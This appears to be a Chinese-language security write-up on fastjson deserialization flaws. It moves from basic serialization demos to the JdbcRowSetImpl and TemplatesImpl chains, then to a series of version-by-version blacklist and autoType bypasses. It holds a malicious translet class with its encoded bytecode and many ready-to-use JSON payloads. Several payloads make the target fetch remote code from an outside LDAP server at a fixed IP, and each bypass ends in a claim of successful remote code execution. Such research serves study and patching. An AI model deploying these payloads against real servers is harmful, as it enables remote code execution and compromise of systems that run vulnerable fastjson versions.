我们先通过官方文档来了解一下fastjson是一个什么东西?
fastjson的API十分简洁:
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
VO vo = JSON.parseObject("{...}"); //反序列化
VO vo = JSON.parse(); //反序列化
我们来写一个简单的javaBean:
import com.alibaba.fastjson.JSON;
public class Student {
public String name;
public int age;
public Student(int age,String name) {
this.age = age;
this.name = name;
}
public String getName() {
System.out.println("调用了geter");
return name;
}
public void setName(String name) {
System.out.println("调用了seter");
this.name = name;
}
public int getAge() {
System.out.println("调用了geter");
return age;
}
public void setAge(int age) {
System.out.println("调用了seter");
this.age = age;
}
public static void main(String[] args) {
Student student = new Student(1,"a");
String text = JSON.toJSONString(student);
System.out.println(text);
}
}
maven依赖:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>fastjson</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
</project>
我们先简单运行一下,看一下输出:
从输出可以判断出,它在进行序列化的时候,自动调用了getter方法,这里应该是通过getter方法来获取来属性值,然后再根据属性值来去构造成json字符串。
接下来再看一下反序列化,一个简单的demo:
import com.alibaba.fastjson.JSON;
public class Student {
public String name="a";
public int age=1;
private String grade ="91";
public String getName() {
System.out.println("调用了getter");
return name;
}
public void setName(String name) {
System.out.println("调用了setter");
this.name = name;
}
public int getAge() {
System.out.println("调用了getter");
return age;
}
public void setAge(int age) {
System.out.println("调用了setter");
this.age = age;
}
public static void main(String[] args) {
Student student = new Student();
String text = JSON.toJSONString(student);
System.out.println("--------------------------------JSON.parse() 结果如下:");
Object o1= JSON.parse(text);
System.out.println("object: "+o1);
System.out.println("class: "+o1.getClass().getName());
System.out.println("--------------------------------JSON.parseObject(\"\") 结果如下:");
Object o2 = JSON.parseObject(text);
System.out.println("object: "+o2);
System.out.println("class: "+o2.getClass().getName());
System.out.println("--------------------------------JSON.parseObject(\"\", Student.class) 结果如下:");
Object o3 = JSON.parseObject(text,Student.class);
System.out.println("object: "+o3);
System.out.println("class: "+o3.getClass().getName());
}
}
可以发现在反序列化中是自动调用了setter,并且没有序列化反序列化我们的 private属性,并且在我们反序列化不指定特定的类时,那么fastjosn就会将一个JSON字符串反序列化为一个JSONObject对象。而并不是我们创建对象的类的对象。
这是为什么呢?大家观察序列化后的结果可以发现,我们输出的字符串中并没有类名,只有属性名与属性值,所以导致我们反序列化时如果不指定特定的类,那么Fastjosn它是不知道我们反序列化时要创建的对象是哪一个类的对象的。所以在不指定特定的类的情况下,Fastjosn就默认将JSON字符串反序列化为一个JSONObject
那么我们如何解决这个问题呢?在JSON字符串反序列化时,转为原始的类对象而不是JSONObject对象。这里有两种方法 :
第一种是在序列化的时候,在toJSONString()方法中添加SerializerFeature.WriteClassName属性,这样他就会将对象类型也序列化,如下图:
可以看到,序列化的结果中相对于以前添加了一个@type字段,用于标识对象所属的类。
反序列化后:
第二种方法呢,这个我们其实在前面就介绍过,是在反序列化的时候,在parseObject()方法中指定对象的类型
说起fastjson反序列化漏洞,肯定与它的几个反序列化函数脱不了关系,我们一个一个看。
parse(string)方法
demo:
import com.alibaba.fastjson.JSON;
public class Student {
public String name="a";
public int age=1;
private String grade ="91";
public Student(){
System.out.println("调用了构造方法");
}
public String getName() {
System.out.println("调用了getter");
return name;
}
public void setName(String name) {
System.out.println("调用了setter");
this.name = name;
}
public int getAge() {
System.out.println("调用了getter");
return age;
}
public void setAge(int age) {
System.out.println("调用了setter");
this.age = age;
}
public static void main(String[] args) {
System.out.println("--------------------------------JSON.parse() 结果如下:");
Object o1= JSON.parse("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");
}
}
输出结果:
可以看出,fastjson在使用parse()反序列化的过程中,会先调用@type标识的类的构造函数,然后用setter给对象赋值。
parseObject(string)方法
demo:
import com.alibaba.fastjson.JSON;
public class Student {
public String name="a";
public int age=1;
private String grade ="91";
public Student(){
System.out.println("调用了构造方法");
}
public String getName() {
System.out.println("调用了getter");
return name;
}
public void setName(String name) {
System.out.println("调用了setter");
this.name = name;
}
public int getAge() {
System.out.println("调用了getter");
return age;
}
public void setAge(int age) {
System.out.println("调用了setter");
this.age = age;
}
public static void main(String[] args) {
System.out.println("--------------------------------JSON.parse() 结果如下:");
Object o1= JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");
}
}
跟进一下parseObject():
可以看到,他是封装了parse(),然后判断parse方法的返回结果,如果不是JSONObject对象就会强转成JSONObject对象。看parseObject()的调用结果图,再结合我们的分析就可以知道,它这里的setter方法其实就是我们的parse()方法调用的,这里的getter是我们的toJSON()方法调用的
parseObject(string,Class)方法
demo:
import com.alibaba.fastjson.JSON;
public class Student {
public String name="a";
public int age=1;
private String grade ="91";
public Student(){
System.out.println("调用了构造方法");
}
public String getName() {
System.out.println("调用了getter");
return name;
}
public void setName(String name) {
System.out.println("调用了setter");
this.name = name;
}
public int getAge() {
System.out.println("调用了getter");
return age;
}
public void setAge(int age) {
System.out.println("调用了setter");
this.age = age;
}
public static void main(String[] args) {
System.out.println("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"} 结果如下:");
Object o3 = JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}",Student.class);
System.out.println("{\"age\":1,\"name\":\"a\"} 结果如下:");
Object o4 = JSON.parseObject("{\"age\":1,\"name\":\"a\"}",Student.class);
}
}
输出结果:
根据上面的分析,在反序列化时,parse方法会触发setter方法,parseObject会触发setter和getter方法,由于存在这种特性。如果@type标识的类的setter或者getter方法中存在恶意代码,通过构造调用链,那么就有可能达到rce,存在fastjson反序列化漏洞。
写一个demo:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
public class Student {
public String name="open /System/Applications/Calculator.app";
public int age=1;
private String grade ="91";
public Student(){
System.out.println("调用了构造方法");
}
public String getName() {
System.out.println("调用了getter");
return name;
}
public void setName(String name) {
System.out.println("调用了setter");
this.name = name;
try {
Runtime.getRuntime().exec(name);
} catch (IOException e) {
e.printStackTrace();
}
}
public int getAge() {
System.out.println("调用了getter");
return age;
}
public void setAge(int age) {
System.out.println("调用了setter");
this.age = age;
}
public static void main(String[] args) {
Student student = new Student();
String t = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(t);
JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"open /System/Applications/Calculator.app\"}");
}
}
执行结果,成功rce:
在DefaultJSONParser.parseObject方法中,通过scanSymbol()方法来解析出关键字@type:
在DefaultJSONParser.parseObject方法中,通过loadClass()方法来反射加载关键字@type对应的值,也就是Student类(在loadClass方法中其实有一些字符的去除,这也是我们对黑名单绕过的一个利用点):
这里会对加载的类进行黑名单检查,黑名单中只有Thread类,我们这里通过了:
这里是根据不同的类来生成不同的deserializer。但是我们的Student类并不在上面的if判断中,所以会调用createJavaBeanDeserializer()方法生成一个deserializer:
跟进createJavaBeanDeserializer()方法,在JavaBeanInfo.build方法中会反射获取类的属性和方法:
通过反射拿到该类所有的方法存入methods,接下来会遍历methods获得get、set方法,如上几图。总结set方法自动调用的条件为:
get的在这里:
找到特定的setter和getter后,接着就会根据JSON字符串中的键值对来调用相应的setter。
小结:
parse(jsonStr) 会调用到:构造方法指定属性的setter(),特殊的getter()
parseObject(jsonStr) 会调用到:构造方法,Json字符串指定属性的setter(),所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,Object.class)会调用到: 构造方法,Json字符串指定属性的setter(),特殊的getter()
parseObject(jsonStr)会调用到更多的getter是因为parseObject里有一个toJSON()方法,在toJSON()方法中调用到的。上面特殊的getter是指:
在小于等于1.2.24版本中,总共有两条利用链
1.JdbcRowSetImpl利用链
利用条件:如下三种反序列化方法通杀
JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);
demo:
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class JRS {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://10.32.124.11:23457/Command8");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException e) {
e.printStackTrace();
}
}
}
运行结果:
这条链最终利用的点在jndi注入,原理就是setter的自动调用。跟进分析一下
setDataSourceName(String var1),这个方法是符合setter自动调用的格式的,并且参数是可控的:
跟进super.setDataSourceName(var1)看下:
如上图dataSource的值,我们是可以控制的
setAutoCommit(boolean var1),看一下这个方法他是调用到了connect()的:
connect()方法调用到了lookup()方法,由此造成了jndi注入,并且lookup方法的参数,正是dataSource,也就是我们在setDataSourceName方法中可以传进去的那个参数:
开个漏洞demo来演示一下:
{"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://91.206.92.47:1389/dulfrc",
"autoCommit":true
}}
攻击成功:
2.TemplatesImpl利用链
利用条件:比较苛刻,如下
JSON.parseObject(text, class, Feature.SupportNonPublicField)
JSON.parse(text,Feature.SupportNonPublicField)
为什么在反序列化函数中要指定Feature.SupportNonPublicField参数?
这是因为TemplatesImpl利用链的好几个属性都是private,所以在反序列化函数中需要指定Feature.SupportNonPublicField参数。要不然它是不会序列化反序列化被private修饰的属性的
这个利用链在之前分析shiro的时候讲过,这里就不进行详细介绍了。在fastjson中这条链主要是通过getter方法来触发的。调用getOutputProperties方法,它是_outputProperties的getter方法,Fastjson在为类中的属性调用getter与setter方法时是会调用smartMatch()忽略掉_ -字符的。也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 大于等于1.2.36 版本可以同时使用 _ 和 - 进行组合混淆。
跟进getTransletInstance()方法
如上图在getTransletInstance()方法中,有两个if判断,要求我们_name与_class属性都不能为空。跟进defineTransletClasses()方法,
如上图,在defineTransletClasses()方法中,会读取bytecodes[]加载类,其中_tfactory不能为null,一旦为空,那么在第二个红框处就会报错,导致无法走到类加载出。并且因为加载完类后会强制类型转换为AbstractTranslet,所以加载的类必须为AbstractTranslet的子类,这里在写exp的时候要注意下
还有一个点是我们传进去的bytecodes[]是需进行base64编码的,这是因为fastjson在解析byte[]的时候是会进行base64解码的,deserialze()->bytesValue() 如下图:
总结一下TemplatesImpl链子要满足的点:
写个demo:
恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
catch (Exception e){
System.out.println();
}
}
public static void main(String[] args) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
转化成字节码:
base64编码:
import org.apache.commons.codec.binary.Base64;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import java.io.*;
public class Base64Byte {
private void Base64Convert() {
}
public static String ioToBase64(InputStream in) throws IOException {
String strBase64 = null;
try {
byte[] bytes = new byte[in.available()];
in.read(bytes);
strBase64 = new BASE64Encoder().encode(bytes);
} finally {
if (in != null) {
in.close();
}
}
return strBase64;
}
public static String byteToBase64(byte[] bytes) {
String strBase64 = null;
strBase64 = Base64.encodeBase64String(bytes);
return strBase64;
}
public static byte[] base64ToByte(String strBase64) throws IOException {
byte[] bytes = new BASE64Decoder().decodeBuffer(strBase64);
return bytes;
}
public static void main(String[] args) {
byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,64,10,0,9,0,41,10,0,42,0,43,8,0,44,10,0,42,0,45,7,0,46,9,0,47,0,48,10,0,49,0,50,7,0,51,7,0,52,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,4,97,114,103,115,1,0,19,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,53,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,46,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,54,12,0,55,0,56,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,57,0,58,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,59,12,0,60,0,61,7,0,62,12,0,63,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,9,0,17,0,18,0,1,0,12,0,0,0,43,0,0,0,1,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,20,0,14,0,0,0,12,0,1,0,0,0,1,0,19,0,20,0,0,0,1,0,21,0,22,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,25,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,25,0,26,0,2,0,27,0,0,0,4,0,1,0,28,0,1,0,21,0,29,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,30,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,30,0,31,0,2,0,0,0,1,0,32,0,33,0,3,0,27,0,0,0,4,0,1,0,28,0,8,0,34,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,35,0,36,0,0,0,37,0,0,0,7,0,2,76,7,0,38,6,0,1,0,39,0,0,0,2,0,40};
System.out.println(byteToBase64(bytes));
}
}
payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAQAoACQApCgAqACsIACwKACoALQcALgkALwAwCgAxADIHADMHADQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkx0ZXN0OwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcANQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcALgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcANgwANwA4AQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAOQA6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAOwwAPAA9BwA+DAA/AAsBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4AIQAIAAkAAAAAAAUAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAHAA4AAAAMAAEAAAAFAA8AEAAAAAkAEQASAAEADAAAACsAAAABAAAAAbEAAAACAA0AAAAGAAEAAAAUAA4AAAAMAAEAAAABABMAFAAAAAEAFQAWAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAZAA4AAAAgAAMAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAeAA4AAAAqAAQAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAAIACIACwABAAwAAABjAAIAAQAAABS4AAISA7YABFenAApLsgAGtgAHsQABAAAACQAMAAUAAwANAAAAFgAFAAAACgAJAA8ADAAMAA0ADQATABAADgAAAAwAAQANAAYAIwAkAAAAJQAAAAcAAkwHACYGAAEAJwAAAAIAKA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
成功rce:
对比两个jar包发现,更新以后loadClass()方法改为了checkAutoType()方法:
再看一下新出现的几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,默认是关闭的。 denyList ,是反序列化类的黑名单,acceptList 是反序列化白名单。
跟进一下checkAutoType()方法,如果开启了 autoType,就是为true,则会先判断类名是否在白名单中,如果在,就使用 loadClass方法进行加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常
这里的loadclass,是写在白名单认证里的,我们利用不了,接着往下看。如果没开启 autoType ,就是autoType为false,则会先使用黑名单匹配,再使用白名单匹配和加载
因为这里的loadclass也是在白名单匹配后的,我们也用不了,接着看发现最后如果autoTypeSupport开启的情况下,会再一次进行判断然后调用到loadClass中,这里就是我们最终利用的地方,如下图:
跟进一下loadClass发现,如果类名是以[ 开头的,则[ 会被自动去掉,如果是以L开头;结尾的也会去掉,那么我们利用此特性进行绕过:
漏洞利用:
需要开启 autoType,也就是autoTypeSupport为true(默认为false)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://91.206.92.47:1389/0stbf5", "autoCommit":true}
起了个spring-boot:
成功rce:
在1.2.41中用L;的绕过方法,在1.2.42中行不通:
对比一下,发现为了防止安全人员找出新的bypass类和方法,这里的黑名单变为了hash值。我们无法直接看到黑名单里的类
有师傅专门做了个项目,来跑黑名单里这些类的hash:
https://github.com/LeadroyaL/fastjson-blacklist
在checkAutoType中,对L ;进行了截取,然后进入到TypeUtils.loadClass中,也就是说checkAutoType截取一次,loadClass截取一次,这样的话双写就可以绕过
payload:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}
spring-boot测试下:
不双写攻击失败:
双写攻击成功:
这里判断了是否以LL开头:
payload:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}
rce成功:
增加了对[的绕过,在checkAutoType中进行判断,如果类名以[开始则直接抛出异常
一个黑名单绕过。用的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类,所以要求环境要有mybatis组件。
原理就是通过mybatis组件进行JNDI接口调用,加载恶意类执行命令。
有第三方依赖的话应该是通杀 1.2.25 <= fastjson <= 1.2.45
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://91.206.92.47:1389/rkth6c"}}
rce成功:
前面几种绕过都是要开启autoTypeSupport,也就是autoTypeSupport为true,在此方法中,可以在不开启autoTypeSupport的情况下才可触发漏洞。此Payload能够绕过checkAutoType内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测
影响版本:1.2.25 <= fastjson <= 1.2.47
通杀三种方式:
payload:
{"a":{"@type":"java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://91.206.92.47:1389/rkth6c", "autoCommit": true}}
rce成功:
问题还是出在了checkAutoType这个检查函数中,当autoTypeSupport开启时,他会走到第一处,抛出异常,然后在第二处和第三处进行查找。当autoTypeSupport不开启时,他会直接在第二处和第三处中进行查找:
之后如果 AutoTypeSupport 为false,这里与之前逻辑一致,会进行黑名单检查:
在上两个图中,都存在if判断,有一个if判断是如果我们的这个反序列化的类在黑名单中,并且 TypeUtils.mappings 中没有该类缓存,那么就会抛出异常:
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)
还有一个if判断是 AutoTypeSupport 为false的那个判断,会进行黑名单检查,不通过会抛出异常,这里我们绕不过去:
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0)
但是我们发现,在如上提到的两个if之间的代码,存在逻辑绕过,如下的代码中, 会在TypeUtils.mappings 与 deserializers 查类,如果找到了,则就会 return:
而对于deserializers,在ParserConfig类进行初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,其中有这么一行,它代表向deserializers中添加java.lang.Class类,并且设定java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec:
this.deserializers.put(Class.class, MiscCodec.instance);
上述过程如下图:
所以当我们传入最开始的那个payload时,他的流程是这样的:
1. 开始解析json.
2. 进入checkAutoType()检查类的安全性
3. 从mapping中或者deserializers.findClass()寻找
4. 在deserializers中找java.lang.Class类,找到后直接return跳出函数,不会再进行autotype和黑名单校验
5 . 继续向下走,获取到java.lang.class对应的反序列化处理类:MiscCodec,然后开始执行 deserializer.deserialze进行反序列化:
6 .在deserializer.deserialze中,parser.parse()获取val的值,参数名必须为val,否则会抛出异常:
7 .在deserializer.deserialze中接着走,会赋值给strVal:
8 .在deserializer.deserialze中再接着往下走,会走到如下这里:
9 .这里是使用loadclass方法,将strVal加入到mapping:
经过上述过程,mapping中有了我们的恶意类名,同时Mappings又是ConcurrentMap类的对象。说明白点就是在当前连接会话生效。如下图:
所以我们需要在一次连接会话同时传入两个json键值,第一个json键值对是将我们的恶意类放到mapping中,由于此次连接未断开时,它在解析第二个json键值对时,由于我们的恶意类在mapping中,它就会直接绕过检测执行我们jndi注入的payload完成rce
MiscCodec中修改了cache的默认值为false,并且对TypeUtils.loadClass中的mapping.put做了限制
黑名单bypass
payload:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
同黑名单bypass,需要autotype开启
payload:
// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
浅蓝师傅在kcon上分享的,是一个任意写文件的链子,大家可以去看下kcon的报告